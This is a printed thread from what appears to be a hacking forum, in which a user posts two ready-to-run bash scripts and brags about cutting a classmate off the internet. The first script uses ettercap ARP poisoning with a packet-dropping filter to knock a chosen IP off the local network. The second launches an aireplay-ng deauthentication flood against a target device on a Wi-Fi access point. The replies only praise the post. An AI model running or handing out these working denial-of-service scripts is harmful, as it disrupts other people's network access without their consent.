![]() |
|
DoS Script - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Coding (https://sinister.li/Forum-Coding) +--- Forum: Coding (https://sinister.li/Forum-Coding--71) +--- Thread: DoS Script (/Thread-DoS-Script) |
DoS Script - hunt3r972 - 02-24-2014 This is a funny script to DoS anyone on your network. Used it against a class mate and was very funny he couldn't understand why his connection to the internet was shutted down :Grin: Code: #!/bin/bash
echo
echo ' ______ _______ _______'
echo '( __ \ ( ___ )( ____ \'
echo '| ( \ )| ( ) || ( \/'
echo '| | ) || | | || (_____'
echo '| | | || | | |(_____ )'
echo '| | ) || | | | ) |'
echo '| (__/ )| (___) |/\____) |'
echo '(______/ (_______)\_______)'
echo
echo "By 9H4C7K3R2 - v1.0"
echo "@ Check that ettercap 0.8.0 is installed"
echo "@ Script to do DoS attacks using ettercap"
echo
echo -n "[+] Target IP address: "
read victime
echo -n "[+] Interface: "
read interface
echo 1 > /proc/sys/net/ipv4/ip_forward
test_forward=$(cat /proc/sys/net/ipv4/ip_forward)
if [ $test_forward == "1" ]
then
echo "[+] IP Forwarding enabled"
elif [ $test_forward == "0" ]
then
echo "[+] IP Forwarding not enabled"
echo "[+] Exiting"
exit
fi
if [ -e dos.eft ];
then
echo "[+] Deleting old DoS file"
rm dos.eft
echo "[+] File deleted"
fi
if [ -e dos.ef ];
then
echo "[+] Deleting old DoS filter"
rm dos.ef
echo "[+] Filter deleted"
fi
echo "[+] Generating new DoS file"
echo "if (ip.src == '$victime' || ip.dst == '$victime') {" > dos.eft
echo "drop();" >> dos.eft
echo "kill();" >> dos.eft
echo 'msg("Packet Dropped\n");' >> dos.eft
echo "}" >> dos.eft
echo "[+] Generating new DoS filter"
etterfilter dos.eft -o dos.ef
echo "Starting Ettercap"
sleep 5
ettercap -TqF dos.ef -M ARP /$victime/ // -i $interfaceAnd the one for people connecting to Wifi... DeAuth Flood on the way :Yum: You must have aircrack-ng suite installed Code: #!/bin/bash
echo
echo " ______ _______ _______ _________ _______ _________"
echo "( __ \ ( ___ )( ____ \|\ /|\__ __/( ____ \\__ __/"
echo "| ( \ )| ( ) || ( \/| ) ( | ) ( | ( \/ ) ( "
echo "| | ) || | | || (_____ | | _ | | | | | (__ | | "
echo "| | | || | | |(_____ )| |( )| | | | | __) | | "
echo "| | ) || | | | ) || || || | | | | ( | | "
echo "| (__/ )| (___) |/\____) || () () |___) (___| ) ___) (___"
echo "(______/ (_______)\_______)(_______)\_______/|/ \_______/ "
echo
echo "By 9H4C7K3R2 - v1.0"
echo "@ Script to DoS nodes connected to Wifi AP"
echo "@ Turn on monitoring with this command:"
echo "@ airmon-ng start <interface wifi>"
echo "@ Catch the MAC address you want to DoS with this command:"
echo "@ airodump-ng <interface monitoré>"
echo "@ To look at a specific AP use this command:"
echo "@ airodump-ng -c <canal> --bssid <adresse MAC du point d'accès> <interface monitoré>"
echo
echo -n "[+] Access Point MAC address: "
read macap
echo -n "[+] Target MAC address: "
read mactarget
echo -n "[+] Interface: "
read interface
echo "[+] Starting DoS attack - CTRL + C to stop"
sleep 5
aireplay-ng -0 0 -a $macap -c $mactarget $interface --ignore-negative-oneRE: DoS Script - Inori - 02-24-2014 Great job m8! glad to see a new acive batch member
RE: DoS Script - The Real Slim Shady - 02-24-2014 (02-24-2014, 09:18 PM)w0lf Wrote: Great job m8! glad to see a new acive batch member Well we all know who DIDNT read the thread... |